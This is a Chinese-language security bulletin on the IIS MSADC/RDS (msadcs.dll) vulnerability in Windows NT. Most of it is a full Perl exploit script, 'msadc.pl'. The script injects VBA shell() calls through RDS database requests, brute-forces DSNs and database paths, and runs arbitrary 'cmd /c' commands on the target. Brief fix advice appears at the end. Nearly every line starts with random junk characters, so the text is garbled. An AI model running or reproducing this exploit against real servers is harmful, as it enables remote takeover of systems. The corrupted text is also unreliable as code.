IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
zb/Xfu.)?6 5S ]P#8 涉及程序：
%5*#c*)R Microsoft NT server
> bF!Y]H <S$21NtM87 描述：
J J?ri, 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
d&bc>Vt Z]TVH8%|k 详细：
n ;5?^Un% 如果你没有时间读详细内容的话，就删除:
LtztjAm. c:\Program Files\Common Files\System\Msadc\msadcs.dll
6B/"M-YME 有关的安全问题就没有了。
LH#LBjOZk l :Nxl 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
z8|9WZ: 5 "am>$rh 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
- C
ON 关于利用ODBC远程漏洞的描述，请参看:
G=cH 61 2w|u)ow ) http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 9'q /&uH <88}+j 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
hZWK5KwT http://www.microsoft.com/security/bulletins/MS99-025faq.asp iFG5%>5F )95yV;n 这里不再论述。
2U'JzE^Do :5M}Iz7 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
M5kHD]b ^3|$wB= /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
bM^A9BxD 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
\a2oM$PX GFdJFQ io }8 M`2HMFR #将下面这段保存为txt文件，然后: "perl -x 文件名"
kQd[E-b7 S1juA V= #!perl
0 a 6@HwO #
0^.4eX:E_ # MSADC/RDS 'usage' (aka exploit) script
+N$7=oGC #
/v)! m&6]> # by rain.forest.puppy
}r~l7 2
` #
'Y{ux> # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
k*3_)
S
- # beta test and find errors!
%4|}&,%%r ^P g
YP use Socket; use Getopt::Std;
fC GDL6E getopts("e:vd:h:XR", \%args);
J5p!-N`NS ,35: Srf| print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
mUyv+n, $v<hW
A]> if (!defined $args{h} && !defined $args{R}) {
}t
D!xI; print qq~
8N*
-2/P& Usage: msadc.pl -h <host> { -d <delay> -X -v }
5rA!VES T -h <host> = host you want to scan (ip or domain)
wu!_B CIy -d <seconds> = delay between calls, default 1 second
*<1x:PR -X = dump Index Server path table, if available
`V):V4!j), -v = verbose
JJ9e{~0 I -e = external dictionary file for step 5
"8ii Rzt# O"qa &3t% Or a -R will resume a command session
y8*@dRrq D2%G.z ~; exit;}
W|rFl]~a 5;MK1l $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
0tm_}L$g=b if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
_Kl{50}] if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
b OSYr<R& if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
mGpkM?Y" $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
0SCW2/o8 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
h}`&]2|] Pv %vx U if (!defined $args{R}){ $ret = &has_msadc;
KT;C RO> die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
yCkW2p]s,K %{~mk[d3 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
-?w v}o . "cmd /c ";
%Di 7u- x $in=<STDIN>; chomp $in;
<aSLm= $command="cmd /c " . $in ;
_h=< _Z AV[P QI if (defined $args{R}) {&load; exit;}
JIb zh?$aD S,Wl)\ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
b8{h[YJL2 &try_btcustmr;
b!5tFX;J t:"=]zUU print "\nStep 2: Trying to make our own DSN...";
{`F x~w;i &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
gc2 |V6( Y 6<0% print "\nStep 3: Trying known DSNs...";
Z!RRe]"y &known_dsn;
K jn& \B>[je-d print "\nStep 4: Trying known .mdbs...";
? W2I1HEy &known_mdb;
FM" GK ' AY/-j$5+? if (defined $args{e}){
Fe& n, print "\nStep 5: Trying dictionary of DSN names...";
7Ysy\gZ&wp &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
8A8xY446) V:G }=~+= print "Sorry Charley...maybe next time?\n";
x#F1@r8R exit;
xH`j7qK. $~G0#JL ##############################################################################
kf^-m/ |Y8Mk2,s sub sendraw { # ripped and modded from whisker
1YIux,2\ sleep($delay); # it's a DoS on the server! At least on mine...
cfC; eRgq~ my ($pstr)=@_;
g3|Y$/J7P socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
^E<~zO=Z die("Socket problems\n");
Xs%R]KOwt if(connect(S,pack "SnA4x8",2,80,$target)){
{b-0_ select(S); $|=1;
# McK46B z print $pstr; my @in=<S>;
X$uz=) select(STDOUT); close(S);
N1 +4bR return @in;
Bgk~R.l } else { die("Can't connect...\n"); }}
9-a2L JI im4e!gRE ##############################################################################
gB{]yA"(' ^Z-. [Y sub make_header { # make the HTTP request
$ gr6 my $msadc=<<EOT
0X R;5kd% POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
W p7@ User-Agent: ACTIVEDATA
P$(WdVG Host: $ip
D,GPn%Wqi Content-Length: $clen
<r7qq$ Connection: Keep-Alive
e"o6C\c L.T gJv43 ADCClientVersion:01.06
?HEtr X,q Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
J:~[ j XC7Ty'#"KX --!ADM!ROX!YOUR!WORLD!
l?@MUsg+ Content-Type: application/x-varg
+9 16ZPk Content-Length: $reqlen
qUEd
E`B iJdrY 6qd EOT
EG(`E9DZ ; $msadc=~s/\n/\r\n/g;
^:cb
$9F return $msadc;}
wv7p,9Z [ hyk|+z`B ##############################################################################
H)j [eZP _>jrlIfc sub make_req { # make the RDS request
;9p#xW 6 my ($switch, $p1, $p2)=@_;
i3M?D}(Bs my $req=""; my $t1, $t2, $query, $dsn;
]uStn AT%*
~tr if ($switch==1){ # this is the btcustmr.mdb query
As6)_8w $query="Select * from Customers where City=" . make_shell();
Y hc6P%{Z^ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
"UhK]i*@l $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Z0( ) pT Wk\mgGn+ elsif ($switch==2){ # this is general make table query
`Ct'/h{
$query="create table AZZ (B int, C varchar(10))";
%?]{U($? $dsn="$p1";}
"o^bN 9 = nl)_` 8= elsif ($switch==3){ # this is general exploit table query
"q9~ C $query="select * from AZZ where C=" . make_shell();
NRHr6!f> $dsn="$p1";}
#uD)0zdw ]HJ{dcF elsif ($switch==4){ # attempt to hork file info from index server
vDK:v$g $query="select path from scope()";
;Ch+X$m9 $dsn="Provider=MSIDXS;";}
>+Sv9S }J+ ce elsif ($switch==5){ # bad query
Qm35{^p+ $query="select";
R
"/xne $dsn="$p1";}
Wz6]*P`qv [ 5CS}FB $t1= make_unicode($query);
aW`:)y&f $t2= make_unicode($dsn);
q:`77 $req = "\x02\x00\x03\x00";
R/ ALR $req.= "\x08\x00" . pack ("S1", length($t1));
^f^-.X $req.= "\x00\x00" . $t1 ;
TRs[ ~K)n $req.= "\x08\x00" . pack ("S1", length($t2));
]+}ZfHp $req.= "\x00\x00" . $t2 ;
+Fc ET $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
{\vI9cni|" return $req;}
qy7hkq.uX _L&n&y1+% ##############################################################################
Y=P9:unG %+AS0 JhB sub make_shell { # this makes the shell() statement
k%EWkM )? return "'|shell(\"$command\")|'";}
e={k.y }x} M(n<Iu4^_ ##############################################################################
CTh1+&Pa Nd]0 ta sub make_unicode { # quick little function to convert to unicode
tyc8{t#Z my ($in)=@_; my $out;
C-s>1\ I for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
{ c v;w return $out;}
qiG]nCq Nj0-`j0E ##############################################################################
R'*<A3^ 3c01uObTL sub rdo_success { # checks for RDO return success (this is kludge)
tP}Xhn` my (@in) = @_; my $base=content_start(@in);
@rPI$i a1~ if($in[$base]=~/multipart\/mixed/){
AC 9{*K[ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
k-{yu8*'; return 0;}
sx-EA&5-9k [: AB$ l* ##############################################################################
kR<xtHW NY4!TOp sub make_dsn { # this makes a DSN for us
\w{@u)h my @drives=("c","d","e","f");
xL 9:4'I print "\nMaking DSN: ";
AyE%0KmraK foreach $drive (@drives) {
pp/#Am print "$drive: ";
Na\3.:]z my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
>nc4v 6s "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
^dFh g_GhF . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
s9uL<$, ' $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
Bj;\mUsk return 0 if $2 eq "404"; # not found/doesn't exist
2~vo+ng if($2 eq "200") {
<\> +~p, foreach $line (@results) {
@)9REA(U return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Jb( DJ-& } return 0;}
f&6w;T= 6{5q@9F ##############################################################################
D~cW
]2 =YWT|%^uX sub verify_exists {
A{4Dzm ! my ($page)=@_;
aML#Z |n my @results=sendraw("GET $page HTTP/1.0\n\n");
'
be P return $results[0];}
u8 |@|t C>AcK#-x,{ ##############################################################################
Z+Kv+GmqH )J;ny!^2 sub try_btcustmr {
j%#?m 2J} my @drives=("c","d","e","f");
P;j&kuW|zL my @dirs=("winnt","winnt35","winnt351","win","windows");
:lgHL3yl EC<5M5Lc foreach $dir (@dirs) {
$kD7y5 print "$dir -> "; # fun status so you can see progress
EY
So=
foreach $drive (@drives) {
BTO A &Ag print "$drive: "; # ditto
0Xp
nbB~~I $reqlen=length( make_req(1,$drive,$dir) ) - 28;
%_>Tcm= $reqlenlen=length( "$reqlen" );
1#/6r : $clen= 206 + $reqlenlen + $reqlen;
g+e: @@ug +H41]W6 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
,Qat if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
,o BlJvm else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
: aHcPc: =.DTR5(_h ##############################################################################
l+t #"3 JRD8Lz]Q3 sub odbc_error {
UMT\ Q6p my (@in)=@_; my $base;
k}X[u8A my $base = content_start(@in);
xM%
pvx.'L if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
9H>BWjS $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
g8KY`MBnC& $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
,g %o $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
w- r_H!- return $in[$base+4].$in[$base+5].$in[$base+6];}
Ft3I>=f{ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
BlL|s=dlQV print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
w2k<)3 g~ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
-<xyC8 $^$ :MK=h;5Z ##############################################################################
B# 1:Y;Z " <qEXX sub verbose {
b9 `i Z my ($in)=@_;
Jth=. 9mrM return if !$verbose;
hBjVe?{ print STDOUT "\n$in\n";}
i^R{Ul[ vT%qILTrQf ##############################################################################
;8BA~ ,4l {wcO[bN sub save {
juH wHt my ($p1, $p2, $p3, $p4)=@_;
K|US~Hgv open(OUT, ">rds.save") || print "Problem saving parameters...\n";
#hpIyy%n print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
F#B5sLNb close OUT;}
sA3UeTf k'g $2 ##############################################################################
p<q]. ^M AfN&n= d K sub load {
,6DD=w 0r my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
}~ rcrm. open(IN,"<rds.save") || die("Couldn't open rds.save\n");
/oFc 03d @p=<IN>; close(IN);
vmvFBzLR $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
ZBF1rx? $target= inet_aton($ip) || die("inet_aton problems");
\<X2ns@Tf print "Resuming to $ip ...";
l n fm0 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
-xz| ayn if($p[1]==1) {
_r]nJEF5 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
o!=WFAi[pX $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
3B;}j/h2 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
3I]Fdp)' if (rdo_success(@results)){print "Success!\n";}
'[Xl>Z[ else { print "failed\n"; verbose(odbc_error(@results));}}
0p otz] } elsif ($p[1]==3){
V`[P4k+b if(run_query("$p[3]")){
`os8;`G print "Success!\n";} else { print "failed\n"; }}
{8 N=WZ elsif ($p[1]==4){
x )3~il5 if(run_query($drvst . "$p[3]")){
j AQU~Ol_ print "Success!\n"; } else { print "failed\n"; }}
"?P[9x} exit;}
zi
}(^~Fe []"=]f{1}; ##############################################################################
!9DX=? jQ?LH UE sub create_table {
#sZIDn J# my ($in)=@_;
1+a@k $reqlen=length( make_req(2,$in,"") ) - 28;
&Xv1[ nByU $reqlenlen=length( "$reqlen" );
]rnXNn ; $clen= 206 + $reqlenlen + $reqlen;
I(n }<)eF my @results=sendraw(make_header() . make_req(2,$in,""));
p-,Iio+ return 1 if rdo_success(@results);
0aogBg_@K my $temp= odbc_error(@results); verbose($temp);
mL$f[ return 1 if $temp=~/Table 'AZZ' already exists/;
v77f Q0w3 return 0;}
ZjS(a d*.2 /=T H 08 ##############################################################################
XMw.wQ '? Ny ^'IUu sub known_dsn {
W^k,Pmopy # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
iV!@bC, my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
5}Xv L' "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
1q] & 7 R "banner", "banners", "ads", "ADCDemo", "ADCTest");
ddoFaQ8 &wjB{ % foreach $dSn (@dsns) {
+xZQJeKb
print ".";
p,;mYm s next if (!is_access("DSN=$dSn"));
\_ 9rr6^ " if(create_table("DSN=$dSn")){
L,$3Yj print "$dSn successful\n";
6{.J:S9n
if(run_query("DSN=$dSn")){
!R6ApB4ZI print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
_f|/*.
@Q print "Something's borked. Use verbose next time\n";}}} print "\n";}
s/ t11; `eC+% O ##############################################################################
+ubnx{VC Pw{"_g sub is_access {
I+"
lrU my ($in)=@_;
Xpl?g=B&u $reqlen=length( make_req(5,$in,"") ) - 28;
_ B[ WY $reqlenlen=length( "$reqlen" );
MwAJ( $clen= 206 + $reqlenlen + $reqlen;
JDA]t&D!v my @results=sendraw(make_header() . make_req(5,$in,""));
Y\( ;!o0a my $temp= odbc_error(@results);
ezn`
_x_? verbose($temp); return 1 if ($temp=~/Microsoft Access/);
$P nLG]X return 0;}
2+:'0Krc ,{8v4b- ##############################################################################
OKAkl [;^,CD|P sub run_query {
=|,A%ZGF$ my ($in)=@_;
=cn~BnowY $reqlen=length( make_req(3,$in,"") ) - 28;
?Ht=[ l = $reqlenlen=length( "$reqlen" );
)Gb,^NGr $clen= 206 + $reqlenlen + $reqlen;
7@l<?
( my @results=sendraw(make_header() . make_req(3,$in,""));
="'- & return 1 if rdo_success(@results);
DP*@dFU" my $temp= odbc_error(@results); verbose($temp);
O%g\B8 ; return 0;}
[ zh"x#AyI
%w5[*V ##############################################################################
J +q|$K6 YeyGN sub known_mdb {
mmP U
my @drives=("c","d","e","f","g");
L/i( KF{ my @dirs=("winnt","winnt35","winnt351","win","windows");
ARW Z; GX my $dir, $drive, $mdb;
*
t!r@k my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
vv+J0f^ wf9z"B # this is sparse, because I don't know of many
+EkW>$ my @sysmdbs=( "\\catroot\\icatalog.mdb",
sV2iITF p "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
;:OsSq& "\\system32\\certmdb.mdb",
FN?3XNp. "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
5I' d PNf QVtM.oi!Q my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
au$" B/ "\\cfusion\\cfapps\\forums\\forums_.mdb",
AVFjBybu9 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
J@]k% h "\\cfusion\\cfapps\\security\\realm_.mdb",
w4 %AJmt "\\cfusion\\cfapps\\security\\data\\realm.mdb",
{Uq:Xw "\\cfusion\\database\\cfexamples.mdb",
H; S%Y`V "\\cfusion\\database\\cfsnippets.mdb",
|=5/Rax ^ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
0+ `Pg "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
hO( RZ '{ "\\cfusion\\brighttiger\\database\\cleam.mdb",
H~o <AmE0! "\\cfusion\\database\\smpolicy.mdb",
|" 7 Y52d "\\cfusion\\database\cypress.mdb",
.'d2J> ~N "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
~pz FZ7n4 "\\website\\cgi-win\\dbsample.mdb",
tsv$ r$Se "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Lgi[u"Du "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
8\Hr5FqB( ); #these are just
wC`
R>) foreach $drive (@drives) {
1mH\k5xu foreach $dir (@dirs){
SlaDt foreach $mdb (@sysmdbs) {
F,T~\gO5, print ".";
1*UN sEr if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
LchnBtjn print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
&tE.6^F if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
/k6fLn2; print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
f /y` } else { print "Something's borked. Use verbose next time\n"; }}}}}
DWm SC}{. n:4uA`Vg foreach $drive (@drives) {
Z
cpmquf8L foreach $mdb (@mdbs) {
/3B6 Mtb print ".";
T3 pdx~66 if(create_table($drv . $drive . $dir . $mdb)){
|B^G:7c print "\n" . $drive . $dir . $mdb . " successful\n";
Vmi{X b]< if(run_query($drv . $drive . $dir . $mdb)){
~uj;qq print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
yI)~]K
r } else { print "Something's borked. Use verbose next time\n"; }}}}
VKW|kU7Cs$ }
}}T,W.#%u Jpj!rXTX* ##############################################################################
r;gP}H ? '\~^TF i sub hork_idx {
X_ ?97iXjx print "\nAttempting to dump Index Server tables...\n";
}roG( print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
AK-}V4C/A $reqlen=length( make_req(4,"","") ) - 28;
H{(]9{ $reqlenlen=length( "$reqlen" );
I1"MPx{ $clen= 206 + $reqlenlen + $reqlen;
<Q5Le dN my @results=sendraw2(make_header() . make_req(4,"",""));
=6T
4>rP if (rdo_success(@results)){
]R IVc3?;$ my $max=@results; my $c; my %d;
x f,5R9g/ for($c=19; $c<$max; $c++){
W?Xiz TW $results[$c]=~s/\x00//g;
1*Ar{:+ua $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
`G$1n#& $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
Q@QFV~ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
s;1h-Oq ( $d{"$1$2"}="";}
:&w{\-0{ foreach $c (keys %d){ print "$c\n"; }
jbte
*Ae } else {print "Index server doesn't seem to be installed.\n"; }}
n$["z
w %y<]Yzv. ##############################################################################
j irbUl glUo7^ay7 sub dsn_dict {
nH[+n `{o open(IN, "<$args{e}") || die("Can't open external dictionary\n");
ux-CpI while(<IN>){
Ee2c5C!|C $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
RBGX_v? next if (!is_access("DSN=$dSn"));
v:|( 8Y if(create_table("DSN=$dSn")){
)qU7`0'8 print "$dSn successful\n";
(@sp/:`6 if(run_query("DSN=$dSn")){
R,_d1^|*w print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
" I+p print "Something's borked. Use verbose next time\n";}}}
ofdZ1F print "\n"; close(IN);}
6}dR$*=
l]_=:)" ] ##############################################################################
)TmtSSS 3,eIB( sub sendraw2 { # ripped and modded from whisker
ma& To= sleep($delay); # it's a DoS on the server! At least on mine...
"Ty/ k8? my ($pstr)=@_;
KfY$ka[}"S socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
,,<PVTd die("Socket problems\n");
lU2c _4 if(connect(S,pack "SnA4x8",2,80,$target)){
7;} l\VXHm print "Connected. Getting data";
o>lms t%< open(OUT,">raw.out"); my @in;
yTBS=+X select(S); $|=1; print $pstr;
2 eP ;[o while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
l{WjDed close(OUT); select(STDOUT); close(S); return @in;
XcfKx@l } else { die("Can't connect...\n"); }}
g:#d l\k z1V#'$_5- ##############################################################################
6Y38 4 6oL1_) sub content_start { # this will take in the server headers
Mi7y&~, my (@in)=@_; my $c;
(ywo
a for ($c=1;$c<500;$c++) {
#-# NqX: if($in[$c] =~/^\x0d\x0a/){
q/ &y*)&'O if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
8im@4A +n` else { return $c+1; }}}
/VTM 9)u return -1;} # it should never get here actually
y 'M#z_.z ;%!m< S|%k ##############################################################################
[rY T k9si| ' sub funky {
e [0w5)X
my (@in)=@_; my $error=odbc_error(@in);
Ff4*IOZ}( if($error=~/ADO could not find the specified provider/){
j
tA*pL'/V print "\nServer returned an ADO miscofiguration message\nAborting.\n";
>'=MH 2; exit;}
%{ 5n1w if($error=~/A Handler is required/){
9'~- U print "\nServer has custom handler filters (they most likely are patched)\n";
FG-L0X exit;}
;</Lf=+Vm if($error=~/specified Handler has denied Access/){
+a+` Z>
print "\nServer has custom handler filters (they most likely are patched)\n";
Ob<W/-%5tH exit;}}
W{" XJt_ ) g1a'G ##############################################################################
3Rv7 Qx oQ2KW..q sub has_msadc {
<:;^'x>! my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
hf M;/ my $base=content_start(@results);
nBL j [ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
]s1 YaNq return 0;}
a P()|js ^ @=^;nB ########################
B |{I:[ 3:CO{=`\7B "H IXm 解决方案：
% 4 ~l 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
:`,3h% 2、移除web 目录: /msadc
